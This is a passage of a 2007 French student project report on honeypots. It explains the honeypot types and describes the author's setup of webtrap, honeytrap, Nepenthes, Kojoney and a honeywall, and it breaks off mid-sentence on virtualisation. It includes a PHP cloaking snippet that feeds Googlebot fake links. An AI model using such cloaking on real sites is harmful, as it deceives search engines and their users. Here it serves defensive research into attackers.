Digital Cindy, les honeypots sexys
Transcription
Digital Cindy, les honeypots sexys
DIGITAL CINDY "L ES POTS DE MIEL SEXYS " AUTEUR : C LÉMENT LECIGNE TUTEUR : F RED HEMERY P ROJET TUTEURÉ DE DEUXIÈME ANNÉE DUT R ÉSEAUX ET T ÉLÉCOMMUNICATIONS U NIVERSITÉ D’A RTOIS , B ÉTHUNE Mars 2007 Résumé Dans le monde d’aujourd’hui, détenir l’information est synomyne de puissance. Le meilleur moyen pour se défendre est de connaitre son ennemie. Dans la guerre contre les pirates informatiques, les cybercriminels ou encore les chapeaux noirs, les consultants en sécurité informatique détiennent très peu d’informations à leur disposition. À vrai dire, ces professionnels, même les créateurs d’applications sécuritaires, ne se soucient guère des outils, des méthodes et même des motivations des pirates. C’est ainsi qu’un groupe d’experts en sécurité informatique a mis au point une nouvelle technologie afin de palier à ce manque d’informations. Ce rapport décrit cette technologie appelée honeypots et met en avant les résultats trouvés ces derniers mois lors du déployement de ces pièges à pirates. Abstract In warfare, information is power. The better you understand your enemy, the more able you to defeat him. In the war against crackers, network intruders, and the other so called blackhats, the good guys have surprisingly little infromation. Most security professionals, even those designing security products, are ignorant of the tools, tactics and motivations of the enemy. In this way some security experts have build a new technology to shine a light into this darkness. This report covers this new technology called honeypots and shows results found in few months deploying such kind of hacker traps. TABLE DES MATIÈRES TABLE DES MATIÈRES Table des matières 1 Présentation Qu’est-ce qu’un honeypot ? . . . Qu’est-ce qu’un honeynet ? . . . Qu’est-ce qu’un exploit ? . . . . Un peu d’histoire . . . . . . . . Buts recherchés . . . . . . . . . Avantages face à un simple IDS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 4 4 4 5 5 5 Étude théorique des honeypots Web honeypots . . . . . . . . . Honeypots à faible interaction . Honeypot à moyenne interaction Honeypots à forte interaction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 6 6 7 8 Mise en place des honeypots Présentation du réseau . . . . . . . . Web honeypot . . . . . . . . . . . . Honeypots à faible interaction . . . Honeypots virtuels à forte interaction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 9 9 10 14 4 Contournement des honeypots Détecter un honeypot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Une faille dans un honeypot ? . . . . . . . . . . . . . . . . . . . . . . . . . . . 23 23 25 5 Résultats Attaques des applications web . . . . . . Les botnets, une arme en pleine expansion Analyse de binaires . . . . . . . . . . . . Comportement des pirates . . . . . . . . . Quelques statistiques . . . . . . . . . . . 27 27 32 37 51 56 2 3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 Conclusion 62 7 Bilan personnel 62 8 Remerciements 62 3 1 1 PRÉSENTATION Présentation Ces dernières années avec le développement d’Internet, le nombre d’attaques a considérablement augmenté. En effet, avec l’informations disponibles sur la toile, un néophite peut facilement se procurer les outils spécialisés et lancer des attaques à partir de chez lui. En dehors de ces petites attaques "pour le fun", on retrouve également les attaques de grandes envergures menées à la baguette par des professionnels du piratage et qui sont destinées à obtenir des données confidentielles afin d’en faire du profit. Ceux sont ces attaques qui sont les plus redoutées par les entreprises. Ainsi pour être efficace face à ces attaques, le monde de la sécurité a réagi rapidement et a élaboré de nouvelles méthodes préventives, les honeypots sont à la tête de celles-ci. Qu’est-ce qu’un honeypot ? Un honeypot est une ressource volontairement vulnérable destinée à attirer et piéger les pirates. En pratique c’est généralement une machine, virtuelle ou non, faisant tourner ou émulant un ou plusieurs services, qui n’attendent que d’être compromis par un pirate. Qu’est-ce qu’un honeynet ? Un honeynet, terme défini par The Honeynet Project 1 , est un réseau conçu pour être compromis. En plus des honeypots, un honeynet comprend au moins un honeywall qui permet de surveiller ces derniers. Qu’est-ce qu’un exploit ? Plusieurs termes relatifs à la sécurité informatique sont employées tout au long de ce rapport. Parmi ceux-ci, on retrouve le terme exploit qui désigne un programme malveillant utilisant un payload2 particulier pour exploiter une faille de sécurité dans un système d’exploitation ou un logiciel. Une exploitation réussie peut conduire à une élevation de privilèges en local ou à un accès distant sur la machine piratée. Les failles de sécurité les plus exploités sont celles des applications web et les débordements de tampon dans les logiciels/noyaux. La faille de type débordement de tampon3 consiste à envoyer dans un tampon plus de données qu’il ne peut en contenir, si le programme est mal développé il va écrire les données en trop en dehors de l’espace mémoire allouée pour le tampon et écraser des données essentielles (variables, saved eip) au bon déroulement du programme. Le pirate peut ainsi détourner le flot d’exécution d’un programme pour le placer sur un shellcode4 . 1 une association à but non lucratif qui regroupe des professionnels de la sécurité et qui fut la première a déployer des honeypots à grande échelle. 2 Un payload est une suite d’octets ayant un rôle bien précis 3 buffer overflow en anglais 4 Un shellcode est un code binaire exécutable sous la forme d’une chaîne de caractères capable de lancer un shell 4 Un peu d’histoire 1 PRÉSENTATION Un peu d’histoire L’idée n’est pas nouvelle et peut être attribuée à Bill Cheswick, un programmeur système spécialisé dans la sécurité et travaillant chez AT&T Bell. Le 7 Janvier 1991, il a commencé à jouer avec un pirate en répondant manuellement a ces réquêtes qui tentaient d’exploiter une faille dans le démon sendmail. Bill a alors réussi à lui faire croire qu’il avait obtenu une copie du fichier passwd qui contenait en réalité que des comptes falsifiés et contrôlés par le programmeur de AT&T Bell. Il a alors laissé le pirate s’amuser sur la machine et a étudié son comportement pendant plusieurs mois. Il a ensuite publié un papier sur ses découvertes. Ce n’est seulement qu’en 2000 que le terme honeypot a vraiment été intégré dans le monde des entreprises. En effet, c’est à cette époque que l’on a vu le déploiement des premiers honeynets. Buts recherchés Les pots de miel sont essentiellement utilisés dans des environnements de production ou de recherche. – Production Dans un environnement de production, un honeypot est utilisé pour dérouter les attaques vers des machines leurres qui simulent un réseau de production. Ce type d’honeypot ne requiert pas beaucoup de vigilance de la part de l’administrateur. Il doit uniquement surveiller les intrusions sur les machines leurres afin de s’assurer que les failles exploitées ne sont pas présentes sur les machines de production réelles. – Recherche C’est le domaine d’application des honeypots le plus intéressant et celui qui a été traité tout au long du projet. Le rôle de l’honeypot dans un environnement de recherche est d’observer les méthodes de piratage et étudier le comportement des pirates. Ce type d’honeypot est plus difficile à mettre en place et requiert un suivi constant si on ne veut pas avoir de mauvaises surprises. Avantages face à un simple IDS Pourquoi ne pas mettre un simple système de détection d’intrusions en amont du réseau de production à la place d’un honeynet ? Tout simplement parce qu’un IDS ne détecte que les attaques connues5 et produit de nombreux faux positif6 . Les pots de miel permettent de palier à ces deux problèmes. En effet, comme le trafic circulant à l’intérieur de l’honeynet n’a pas lieu d’être, on peut le considérer automatiquement comme suspect et ainsi supprimer les faux positifs. De plus comme nous laissons entrer le pirate, nous pouvons analyser l’attaque qu’il a conduite même si celle-ci était jusqu’alors inconnue. 5 6 on parle aussi de faux négatifs une alerte sur un paquet légitime 5 2 2 ÉTUDE THÉORIQUE DES HONEYPOTS Étude théorique des honeypots Selon les besoins, on distingue plusieurs types d’honeypots. Cette section décrit les types d’honeypots les plus répandus. Web honeypots Des dizaines d’applications web naissent chaque jour. Généralement écrites en PHP, un langage facile à apprendre, ces applications contiennent des bugs qui conduisent pour la plupart du temps à des vulnérabilitiés. "XSS", "include", "path disclosure", "file disclosure" sont des termes qui n’ont plus aucun secret pour les pirates et tous les jours, des milliers de sites sont compromis grâce à l’exploitation d’une de ces failles. C’est ainsi que l’on a vu grandir les web honeypots dans le but de contrer/comprendre/analyser ce genre d’attaque. À titre d’exemple, on peut citer le Google Hack Honeypot7 , le premier web honeypot qui émule des applications PHP connues telles que phpbb, joomla, les références ensuite dans le moteur de recherche le plus utilisé du monde et attend des attaques pour récupérer la requête utilisée pour atteindre la fausse application. Les informations glanées peuvent être ensuite analysées pour localiser de nouvelles failles non publiées, prévoir l’arrivée d’un nouveau ver et le contrer comme cela a été fait pour le ver Santy qui récuperait des sites vulnérables en envoyant des requêtes spécifiques a google qui n’a mis que quelques jours pour les bloquer. Honeypots à faible interaction Un honeypot à faible interaction émule des faux services vulnérables qui par défaut ne répondent à aucune requête. En contre partie, tous les paquets arrivant à destination des ports en écoute sont enregistrés. Le pirate n’interagit jamais avec le système d’exploitation en lui même et la sécurité est ainsi conservée, si les faux services ne contiennent bien évidement pas de trou de sécurité. Ce type de pot de miel est utile pour relever des statistiques sur les services les plus attaqués. Si le payload de l’exploit se trouve dans le premier paquet envoyé par le pirate alors on peut capturer des vers, déceler de nouvelles vulnérabilités. Ils sont simples à mettre en oeuvre et à administrer mais sont grandement limités dans le sens où nous n’avons aucune information sur le comportement des pirates puisqu’ils n’offrent aucune possibilité au pirate d’interagir avec le service et même la machine. Parmi les honeypots à faible interaction les plus populaire, on retrouve honeytrap qui écoute sur tous les ports TCP non utilisés par le système et qui loge toutes les tentatives de connexion ainsi que les payloads utilisés. De plus un système d’analyse de payload permet d’extraire, des shellcodes connus, les exécutables qui étaient censés s’exécuter si la faille aurait été présente. 7 ghh.sf.net 6 Honeypot à moyenne interaction 2 ÉTUDE THÉORIQUE DES HONEYPOTS F IG . 1: Honeypot à faible interaction Honeypot à moyenne interaction F IG . 2: Honeypot à moyenne interaction Les honeypots à moyenne interaction sont qu’une simple évolution des honeypots présentés précédement dans le sens où ils répondent au pirate avec des fausses réponses qui laissent croire au pirate que la faille est bien présente et qu’elle a été exploitée avec succès. Ainsi on peut imaginer un faux serveur web IIS qui implémente le buffer overflow dans la requête SEARCH présent dans webdav en 2003, lorsque le serveur reçoit une requête 7 Honeypots à forte interaction 2 ÉTUDE THÉORIQUE DES HONEYPOTS légitime, il répond avec une réponse qui colle au protocole webdav tandis que lorsqu’il reçoit une requête SEARCH avec un argument de plus de 65535 octets, il répond pas à la requête, analyse le payload qui tente d’exécuter des instructions arbitraires et lance un programme externe qui simule l’attitude de ce payload (un bind de cmd.exe sur le port 1337 par exemple), le pirate n’y voit que du feu et envoie maintenant ses données, qui sont logées, à l’outil qui simule le payload. Nepenthes est un de ces honeypot à moyenne interaction qui permet d’émuler des vulnérabilités connues dans Microsoft Windows et qui possède un analyseur de payload qui reconnaît et peut émuler plus de 90% des shellcodes afin de récupérer des vers, des virus. . . Honeypots à forte interaction F IG . 3: Honeypot à forte interaction Contrairement aux deux types précédents, les honeypots à forte interaction ne sont pas basés sur l’émulation de services ou de systèmes d’exploitation. Au contraire, ils reposent sur un vrai système d’exploitation où de véritables services, vulnérables ou non, tournent et sont accessibles aux pirates. Ainsi, la méthode d’approche est complétement différente puisque l’on offre au pirate la possibilité de rentrer dans le système et de faire ce qu’il lui plaît une fois le système compromis. Le but du jeu est donc de contrôler les faits et gestes du pirate sans se faire démasquer. C’est le type d’honeypot le plus déployé pour faire de la recherche puisque ceux sont les seuls qui permettent de réellement d’étudier le comportement des pirates et ceux sont également les plus difficiles à administrer. Différentes méthodes pour contrôler et capturer 8 3 MISE EN PLACE DES HONEYPOTS les données ont été élaborées par l’organisation "The Honeynet Project"8 que nous allons décrire et mettre en place dans la section suivante. 3 Mise en place des honeypots Présentation du réseau Le réseau initial est constitué d’un routeur/firewall tournant sous OpenBSD, d’une zone démilitarisée avec deux machines et d’un réseau LAN sans-fils avec une seule machine. Sur ce routeur se trouve un serveur web qui hébergera un web honeypot. Une nouvelle carte réseau a été ajoutée à ce routeur pour accueillir et isoler le réseau qui va contenir toutes les machines leurres qui sont physiquement au nombre de deux. F IG . 4: Schéma du réseau Web honeypot Les honeypots, au niveau des applications web, sont assez récents et peu d’applications permettent de simuler ce genre de leurre. C’est dans cette optique que webtrap est né durant ce projet. Webtrap, écrit en PHP, utilise le mod_rewrite du serveur web apache pour intercepter toutes les requêtes HTTP qui sont erronées (erreur 404) et renvoie une fausse page HTML 8 www.honeynet.org - Le premier organisme a avoir déployé des honeypots en masse et a publier leurs résultats. 9 Honeypots à faible interaction 3 MISE EN PLACE DES HONEYPOTS contenant des signatures aléatoires provenant d’applications web connues. Webtrap possède un analyseur de requêtes qui permet de détecter si l’on a tenté d’exploiter une faille et de procéder à diverses actions comme le téléchargement du script inclu dans l’exploitation d’une faille de type include. Il génère quotidiennement un rapport (figure 5) avec le détail de toutes les requêtes qui sont arrivées jusqu’à lui. F IG . 5: Exemple de rapport de webtrap Les pirates utilisent google pour trouver des sites hébergeant des applications vulnérables, il faut donc réussir à référencer ces fausses pages, renvoyées par webtrap. Pour cela, il suffit de mettre en oeuvre la technique du cloaking qui est utilisée par les webmasters pour améliorer leur pagerank. L’astuce consiste à renvoyer un index faussé contenant des liens vers des pages inexistantes au robot google (googlebot) que l’on aura identifié grâce à son user-agent spécifique. Ainsi on ajoute dans l’index.php de clem1.be le code php suivant. 1 3 5 7 9 <? php i f ( s t r p o s ( $_SERVER [ "HTTP_USER_AGENT" ] , " G o o g l e b o t " ) ) { /∗ . . . ∗/ e c h o " <h2 > L i n k s < / h2 > \ n " ; echo "<ul >" ; e c h o " < l i ><a h r e f = \ " j o o m l a / i n d e x . php \ " >My j o o m l a ! < / a > </ l i > \ n " ; / ∗ g é n é r a t i o n de l i e n s a l é a t o i r e s ∗ / /∗ . . . ∗/ } ?> Si c’est le googlebot qui visite la page, il aura le droit à une section "Links" contenant des liens pointant vers des pages inexistantes. Ainsi le googlebot va suivre ces différents liens et va tomber sur webtrap qui va lui renvoyer des fausses signatures d’applications web qu’il va indexer. Après une semaine, on peut voir sur les figure 6 et 7 que google a belle et bien été piégé. Webtrap intègre un analyseur de referer qui permet d’extraire la requête google qui a été utilisée pour arriver jusqu’à lui. Les résultats de la mise en place de cet honeypot sont présentés dans la section 5 et webtrap version 0.3 peut être récupéré à l’adresse clem1.be/webtrap/. Honeypots à faible interaction Paulux (cf figure 4) est une machine tournant sous le système d’exploitation libre FreeBSD 6.1. Elle a accueilli, tout au long du projet, différents honeypots à faible ou moyenne interactions présentés dans les sous-sections suivantes. 10 Honeypots à faible interaction 3 MISE EN PLACE DES HONEYPOTS F IG . 6: cache de google avec les faux liens F IG . 7: google dans les choux Honeytrap La mise en place de honeytrap, honeypot à faible interaction présenté dans la section 2, est simpliste. Il n’est pas présent dans les ports de FreeBSD mais il ne requiert que la libpcap comme dépendance et est par conséquent facile à compiler. Après la compilation et l’installation de l’application, on peut configurer honeytrap par l’intermédiaire des fichiers de configuration qui se trouve dans /usr/local/etc/honeytrap/. Le fichier honeytrap.conf contient les quelques paramètres liés au processus et la taille limite des binaires qu’il essayera de télécharger. clem1@paulux:~$ cat /usr/local/etc/honeytrap/honeytrap.conf pidfile = /var/run/honeytrap.pid logfile = /var/log/honeytrap.log response_dir = /etc/honeytrap/responses attacks_dir = /var/spool/honeytrap/attacks dlsave_dir = /var/spool/honeytrap/downloads user group = honeytrap_user = honeytrap_group read_limit = 10485760 La variable response_dir correspond au répertoire contenant des fichiers spécifiant les réponses que doit envoyer honeytrap en fonction du port TCP ciblé. Par exemple le fichier 25_tcp (figure 8) indique à honeytrap d’envoyer la banière du serveur SMTP postfix en réponse à une connexion sur le port 25/TCP. 11 Honeypots à faible interaction 3 MISE EN PLACE DES HONEYPOTS clem1@paulux:~$ cat /usr/local/etc/honeytrap/25_tcp 250 localhost ESMTP Postfix F IG . 8: Contenu du fichier 25_tcp Honeytrap stocke le contenu de chaque paquet qu’il reçoit dans le répertoire indiqué par la variable attacks_dir. Il enregistre les paquets en fonction du temps ce qui signifie que nous pouvons nous retrouver avec 500 fichiers ayant un contenu identique, ce qui arrive fréquement avec la propagation des vers qui utilise à chaque coup le même payload. Un patch a ainsi été développé pour que honeytrap stocke uniquement le contenu des paquets qu’il n’a pas encore reçu. Ceci permet d’économiser de l’espace disque et facilite la navigation dans les logs. Le patch est disponible sur dc.clem1.be. Honeytrap possède un analyseur de shellcode qui essaie d’extraire les actions que réalisent ces morceaux de code assembleur. Si le shellcode tente de télécharger un binaire à distance pour l’exécuter par la suite, honeytrap ira le chercher lui même et le stockera dans le répertoire référencé par la variable dlsave_dir. Cette fonctionnalité est utile pour récupérer les vers qui exploitent une vulnérabilité du système à distance. Par exemple, le vers MSBLAST qui a fait des ravages en 2003, peut facilement être récupéré par honeytrap dans le sens où celui-ci exploite une faille dans le composant DCOM des RPC de windows (port 145/TCP) pour injecter un shellcode qui a pour rôle de télécharger, en utilisant le protocole TFTP, le vers en lui même qui se trouve sur la machine déjà infectée pour le lancer par la suite. Nepenthes Nepenthes est en quelque sorte une version améliorée de honeytrap. C’est un honeypot à moyenne interaction qui émule une machine windows simulant des services vulnérables. Les principaux protocoles tels que SMB, SMTP, HTTPS, IMAP2, IMAP3, SSMTP, IMAPS, POP3S, FTP, HTTPS, KERBEROS, MS-SQL, DNS sont de la partie. Son installation ne se fait sans aucun problème puisqu’il est disponible dans les ports de FreeBSD. Il est très utilisé par les développeurs d’antivirus pour ses performances. En effet en 4 mois de temps, il a permis de récupérer pas moins de 15,500 binaires malveillants. À l’instar d’honeytrap, nepenthes sait analyser des payloads contenant des shellcodes afin de rendre plus interactif le dialogue entre nepenthes et le pirate (ou le ver). Ainsi les shellcodes de type connectback, bindshell, cmdshell, urldownload, filetransfer sont reconnus, décortiqués (téléchargement des binaires) et émulés. Les fichiers de configuration se trouve dans le répertoire /usr/local/etc/nepenthes/. Le fichier nepenthes.conf est le fichier de configuration principal. clem1@paulux:~$ cat /usr/local/etc/nepenthes/nepenthes.conf nepenthes { moduledir "/usr/lib/nepenthes"; 12 Honeypots à faible interaction moduleconfigdir 3 MISE EN PLACE DES HONEYPOTS "/etc/nepenthes"; modules( (...) // vulnerability modules "vulnbagle.so", "vuln-bagle.conf", "vulndameware.so", "vuln-dameware.conf", "vulndcom.so", "vuln-dcom.conf", (...) submitmanager { strictfiletype "1"; // where does submit-file write to? set this to the same dir filesdir "/var/binaries/"; }; (...) utilities { hexdump_path "/var/hexdumps/"; }; (...) "" "" "" } Comme pour honeytrap, les binaires iront dans /var/binaries et les contenus de paquet, sans duplication, iront dans /var/hexdumps. Chaque service émulé est identifié par une librairie dynamique .so ainsi qu’un fichier de configuration. Si on regarde au niveau du code source et de la configuration du faux serveur FTP, on peut voir qu’il écoute sur le port 21 (figure 10) et qu’il émule les serveurs freeFTPd et warFTPd en analysant la méthode FTPdDialogue() (figure 9). 2 4 6 8 10 12 FTPdDialogue : : FTPdDialogue ( Socket ∗ s o c k e t ) { m_Socket = s o c k e t ; m_DialogueName = " F T P d D i a l o g u e " ; m _ D i a l o g u e D e s c r i p t i o n = " D i a l o g u e t o e m u l a t e v a r i o u s f t p daemon b u g s " ; m_ConsumeLevel = CL_ASSIGN ; m _ S h e l l c o d e = new B u f f e r ( 4 0 9 6 ) ; m _ B u f f e r = new B u f f e r ( 4 0 9 6 ) ; c h a r ∗ b a n n e r 1 = " 220 −−−f r e e F T P d 1.0−−−warFTPd 1.65−−−\ r \ n " ; m_Socket −>doRespond ( b a n n e r 1 , s t r l e n ( b a n n e r 1 ) ) ; m _ s t a t e = FTP_NULL ; } F IG . 9: Méthode FTPdDialogue() de vuln-ftpd.so clem1@paulux:~$ cat vuln-ftp.conf vuln-ftp { ports ("21"); accepttimeout "45"; }; F IG . 10: Configuration du serveur FTP 13 Honeypots virtuels à forte interaction 3 MISE EN PLACE DES HONEYPOTS Kojoney Kojoney est un honeypot à moyenne interaction développé en python et basé sur les librairies réseau Twisted. Il émule un serveur SSH tournant sur un système où les utilisateurs ont des mots de passe faibles. Certains pirates ont recours à des scanneurs qui se connectent sur des adresses IP prises au hasard et qui tentent une attaque par brute force sur les mots de passe, ciblant principalement les mots de passe par défaut ou ceux dont l’utilisateur n’a pas fait preuve d’imagination. Combien d’administrateur crée un compte test avec comme mot de passe test pour tester le système et oublie de l’enlever une fois le système mis en production ? Le logiciel enregistre dans des fichiers de log toutes les tentatives qui ont été faites ainsi que les commandes lancées par le pirate dès que celui-çi a trouvé un des comptes utilisés par Kojoney. Kojoney est cependant très loin d’être parfait, un pirate ayant un niveau correct et quelques connaissances des systèmes UNIX s’apercevra immédiatement du piège comme expliqué dans la section 4. Techniquement le programme ne fait que boucler sur ce que tape l’utilisateur et y répondre quand il en est capable. Par conséquent on atteint très facilement les limites de ce faux environnement, par exemple il est impossible de se promener ailleurs que dans la racine (/) et le pirate ne peut pas utiliser de programmes interactifs (emacs, vim, ftp...). Pour combler ces lacunes et s’éloigner de la version de base de kojoney, j’ai modifié les sources pour améliorer l’aspect du shell qui est délivré à l’utilisateur lors d’une connexion réussie, ajouté des commandes, changé l’attitude de certaines commandes... Aucune configuration n’est nécessaire, nous pouvons lancer directement kojoney. Il va se mettre en écoute sur le port 22 et va enregistrer toutes les tentatives dans le fichier /var/log/honeypot. Honeypots virtuels à forte interaction Pour la mise en place de notre réseau d’honeypots à forte interaction nous allons reprendre le réseau genII de la honeynet alliance couplé avec de la virtualisation. GenII honeynet Architecture La figure 11 montre l’architecture typique d’un réseau d’honeypots de deuxième génération (genII). On y retrouve le réseau de production isolé du réseau de machines leurres par une machine à 3 cartes réseaux, c’est l’honeywall. Cette machine est le composant crucial d’un honeynet, c’est elle qui sépare les systèmes composant le honeynet du reste 14 Honeypots virtuels à forte interaction 3 MISE EN PLACE DES HONEYPOTS F IG . 11: Architecture d’un honeynet de deuxième génération du monde, contrôle et capture les données. En effet, tout trafic entrant ou sortant de l’honeynet transite obligatoirement par elle. Cette machine est généralement configurée en mode pont (bridge) entre les deux réseaux avec aucune adresse IP pour que les pirates ne puissent la détecter (pas de décrémentation de TTL). La troisième carte réseau est utilisée pour l’administration de l’honeywall à distance. Capture de donnée Le but de la capture de données est de tracer l’activité des pirates. La clé de la capture de données est de collecter l’information dans autant de couches que possible. Par exemple si un pirate exécute un programme sur une machine vulnérable, nous devons être capable de récupérer ce programme, la ligne de commande exacte envoyée avec les arguments, ainsi que la sortie du programme au moment de l’exécution. Ainsi on peut identifier 3 couches importantes qui sont les journaux des pares-feux, le trafic réseau, et l’activité sur le système. Pour les journaux des pares-feux, ce n’est pas compliqué dans le sens où la plupart des pares-feux, qui en valent la peine, intègrent des fonctions de capture plus ou moins avancées. Dans notre cas, nous utiliserons le firewall Netfilter de Linux qui peut être configuré pour tracer tout ce qui passe dans les entrailles de ses points d’arrêts (hook) grâce à l’action LOG. Pour capturer le trafic réseau, il suffit de placer un IDS ou un simple sniffeur de paquets sur l’honeywall qui va capturer le trafic entrant et sortant. Nous allons utiliser ici 15 Honeypots virtuels à forte interaction 3 MISE EN PLACE DES HONEYPOTS l’IDS snort qui intègre une fonction de capture de tous les paquets au format pcap, lisible avec ethereal et la plupart des logiciels d’analyse réseau. L’enregistrement de l’activité sur les systèmes leurres est l’étape finale pour avoir une capture de données optimale mais c’est aussi la plus difficile à mettre en oeuvre. Il y a quelques années cela était simple, la plupart des interactions se faisant alors par l’intermédiaire de protocoles en clair tel que FTP, HTTP ou telnet. Il suffisait de tracer la connexion pour identifier les saisies clavier et les sorties des programmes. Cependant les pirates ont adopté l’utilisation de protocole crypté comme tout le monde avec des algorithmes de cryptage avancés tels que le 3DES ou l’AES que l’on trouve dans ssh. Nous devons donc capturer ces données directement depuis les systèmes leurres sans se faire démasquer par le pirate. Pour cela, le projet honeynets a développé sebek, un module noyau qui se cache, intercepte les appels système basés sur read(), récupère les commandes du pirates et les transmet via le protocole UDP vers une machine externe. Sebek est disponible pour windows, Linux et les systèmes BSD. Les pirates ne peuvent théoriquement ni détecter la présence du module, ni capturer les paquets UDP, car sebek se cache dans le noyau et se charge de cacher les paquets qu’il émet. En déployant les honeypots dans une machine virtuelle, nous allons utiliser une autre technique pour récupérer les frappes du pirate dans le sens où sebek est facilement détectable par un pirate expérimenté (section 4). Contrôle de donnée La finalité du contrôle des données est de s’assurer qu’un pirate ne puisse pas utiliser une machine leurre pour attaquer ou casser un système extérieur à celui-ci. Le contrôle des données limite ainsi les risques mais nous devons toutefois trouver un bon compromis pour sécuriser le réseau tout en laissant quelques libertés aux pirates. Plus nous laissons de liberté aux pirates et plus nous pourrons en apprendre sur leurs modes opératoires. Pour parvenir à nos fins nous allons utiliser un dénombrement des connexions et un IPS9 . Le dénombrement des connexions consiste à limiter le nombre de connexions sortantes qu’un attaquant peut initier depuis un honeypot. Le but est de compter le nombre de connexions sortantes, et quand la limite définie est atteinte, de bloquer toutes connexions ultérieures. Nous pouvons utiliser le firewall Netfilter du noyau linux qui avec le module limit permet de faire cela. Nous pouvons ainsi écrire un script shell, inspiré de celui développé par le projet honeynet publié en GPL, qui va limiter le nombre de connexions sortantes en fonction du protocole (UDP, TCP ou ICMP). Ainsi nous autoriserons une trentaine de connexions par jour. Une fois la configuration du firewall terminée, nous allons mettre en place un système permettant d’identifier et de bloquer les attaques connues. Pour cela, nous allons mettre en place snort_inline qui est une modification de snort pour le faire fonctionner en Intrusion Prevention System, c’est à dire que nous pouvons supprimer ou modifier des paquets reportés suspect par snort. Pour que snort_inline fonctionne correctement, il faut qu’il dispose d’un mécanisme lui routant les paquets, en effet il ne sait pas prendre de déci9 Intrusion Prevention System 16 Honeypots virtuels à forte interaction 3 MISE EN PLACE DES HONEYPOTS sion de routage directement. Donc nous utilisons un mécanisme qui transfère le paquet à snort_inline qui, une fois l’analyse effectuée, rend le paquet au processus de routage qui route ou non le paquet. Ce processus sera dans notre cas le firewall Netfilter de Linux qui possède cette fonction, appelée user-space queuing, qui nécessite le chargement du module ipt_queue. La virtualisation La virtualisation est un mécanisme, matériel et/ou logiciel, qui permet de faire fonctionner sur une seule machine plusieurs systèmes d’exploitation. Avec l’évolution des machines, c’est un phénomène très en vogue et il serait dommage de ne pas exploiter ce mécanisme sur nos honeypots. Les différents types Il existe plusieurs types de virtualisation. Nous allons ici énumérer les principaux types en spécifiant leurs avantages et leurs inconvénients ainsi que la solution retenue pour le projet. Nous avons pour commencer les émulateurs tels que qemu, boch dans le monde libre ou vmware dans le monde propriétaire qui permettent une émulation totale d’une machine que ce soit au niveau processeur, mémoire, disque ou ou même graphique... L’avantage est que l’on peut faire tourner n’importe quel système d’exploitation dans la machine virtuelle et cela sur différents types d’architectures. Cependant l’inconvénient majeur est la lenteur d’exécution qui rend cette technique de virtualisation inutilisable sur des systèmes leurrés. Nous avons ensuite vu apparaître la para-virtualisation avec le projet Xen. L’astuce consiste à mettre en place un système d’exploitation dédié uniquement à la fonction d’hébergement de machines virtuelles qu’on appelle hyperviseur. Les équipes de Xen se sont dis que virtualiser totalement une architecture est peut-être délicat et pas forcément nécessaire tout le temps. Pour cela, ils ont créé un sous-ensemble de l’architecture x86 virtualisé, qui fonctionne sur x86. La contre partie de ce concept est que les systèmes d’exploitation doivent être modifiés pour fonctionner avec ce sous-ensemble de l’architecture x86. Parmi les systèmes supportés en domU, c’est à dire en machine virtuelle, on retrouve Linux, NetBSD, FreeBSD, OpenSolaris et bien d’autres encore, par contre au niveau des systèmes supportés en tant que dom0, c’est à dire la machine hôte (hyperviseur), la liste se réduit aux distributions Linux. Cette dernière liste devrait néanmoins s’agrandir avec l’arrivée de NetBSD et FreeBSD. Xen est une solution élégante puisqu’elle permet d’émuler différents systèmes d’exploitation en ayant des performances acceptables comparées à un bête émulateur. Hélas, avec les machines que nous disposons, des pentium II cadencés à 350MHz, nous n’avons pas réussi à para-virtualiser un seul OS, que ce soit du Linux ou du NetBSD, sans que la machine hôte ne rentre dans une montée en charge infinie. Une autre méthode de virtualisation, nommée isolation ou "operating system level virtualization" en anglais, consiste à isoler l’exécution d’un programme du reste du système 17 Honeypots virtuels à forte interaction 3 MISE EN PLACE DES HONEYPOTS d’exploitation. Ce programme est alors enfermé dans un espace clos ce qui permet de garder le système sain en cas de problème. L’appel système chroot qui permet de lancer des processus dans un autre environnement d’exécution est le grand père des isolateurs modernes tels que linux-vserver ou bsdjail. Ce genre de virtualisation est très performante au niveau des temps d’exécution, en effet le noyau du système hôte est partagé pour les applications qui tournent à l’intérieur des isolateurs mais n’est pas adapté pour les honeypots puisqu’au niveau de la sécurité il est assez aisé de s’évader de ce genre de cloisonnement (vulnérabilités dans le kernel, ptracage des processus extérieurs). Il reste enfin la technique de virtualisation que nous allons utiliser et qui est la combinaison de l’émulateur et de l’isolateur. Elle consiste à exécuter de manière isolé, non pas un programme, mais un noyau dans l’espace utilisateur. Le noyau "user-space" a donc son propre espace utilisateur dans lequel il contrôle ses applications. En terme de performance, on se situe en dessous de la technique précédente à cause des deux noyaux empilés mais au niveau sécurité et isolation nous ne pouvons guère faire mieux. UML10 est un patch pour le noyau linux qui implémente cette technique de virtualisation. La compilation du noyau patché produit un binaire exécutable pouvant être lancé sous GNU/Linux par un simple utilisateur. Ce noyau est vu par le véritable noyau Linux comme une simple application. Les développeurs du noyau Linux l’utilise pour tester leur code mais les usages d’UML sont multiples et les honeypots n’échappent pas à la règle. En effet, UML est la solution idéale pour mettre en place un honeynet virtuel sur une seule machine et des recherches ont déjà été réalisé dans cette optique. C’est pour cela que nous avons choisi cette solution pour déployer notre réseau de machines leurrées. Avantages de la virtualisation Les machines virtuelles ont de très nombreuses applications, souvent dans le domaine professionnel. La première est de pouvoir profiter d’autant de systèmes d’exploitation qu’on le souhaite, beaucoup plus facilement qu’avec un multi-boot et ceci sans trop de perte d’efficacité avec les systèmes actuels que nous trouvons sur le marché. C’est également un avantage pour tous les développeurs de logiciels qui doivent tester leur code sous différentes plateformes ou pour les hébergeurs qui peuvent dédier 